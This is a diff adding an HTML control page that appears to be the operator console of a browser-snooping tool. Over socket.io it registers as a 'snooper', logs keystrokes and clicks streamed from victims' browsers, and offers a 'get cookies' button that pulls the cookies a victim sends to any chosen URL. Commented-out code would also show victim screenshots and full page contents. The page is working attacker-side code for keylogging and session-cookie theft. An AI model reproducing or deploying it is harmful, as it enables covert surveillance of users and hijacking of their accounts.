+<!DOCTYPE html>
+<html>
+ <head>
+ <script src="/socket.io/socket.io.js"></script>
+ <script>
+ var λ = document.getElementById.bind(document)
+ var socket = io.connect(document.location.origin)
+ socket.emit('register_snooper')
+ /*socket.on('screenshot', function(data) {
+ λ('screen_display').src = data.data
+ })*/
+ /*socket.on('fulldom', function(data) {
+ λ('iframe').src = 'data:text/html;charset=utf-8,' + escape(data.data)
+ })*/
+ function keyname(e) {
+ if (e.type === 'keydown') {
+ if (e.keyCode === 8) return '<backspace>'
+ if (e.keyCode === 46) return '<delete>'
+ if (e.keyCode === 13) return '<enter>'
+ if (e.keyCode === 9) return '<tab>'
+ }
+ if (e.type === 'keypress') {
+ return String.fromCharCode(e.charCode)
+ }
+ if (e.type === 'click') {
+ return e.text ? ('<click "'+e.text+'">') : '<click>';
+ }
+ return ''
+ }
+ socket.on('keypress', function(data) {
+ var txt = document.createTextNode(keyname(data))
+ if (txt) λ('inputlog').appendChild(txt)
+ })
+ socket.on('request', function(data) {
+ console.log(data)
+ })
+
+ function get_cookies() {
+ var url = λ('url_in').value
+ socket.emit('get_url_cookies', {url: url})
+ function maybe_show_cookie(res) {
+ if (res.url !== url) return console.log('mismatch: '+res.url+' vs '+url)
+ socket.removeListener('request', maybe_show_cookie)
+ λ('inputlog').appendChild(document.createElement('br'))
+ λ('inputlog').appendChild(document.createTextNode('cookies for '+url+': '+res.headers.cookie))
+ λ('inputlog').appendChild(document.createElement('br'))
+ }
+ socket.on('request', maybe_show_cookie)
+ }
+ </script>
+ </head>
+ <body>
+ <!-- <img id="screen_display" style="position: absolute; top: 0px; left: 0px"> -->
+ <!-- <iframe id="iframe" style="position: absolute; top: 0px; left: 0px" sandbox
+ width="100%" height="100%"></iframe> -->
+ <input id="url_in"><button onclick="get_cookies()">get cookies</button>
+ <br>
+ <div id="inputlog" style="">
+ </body>
+</html>
\ No newline at end of file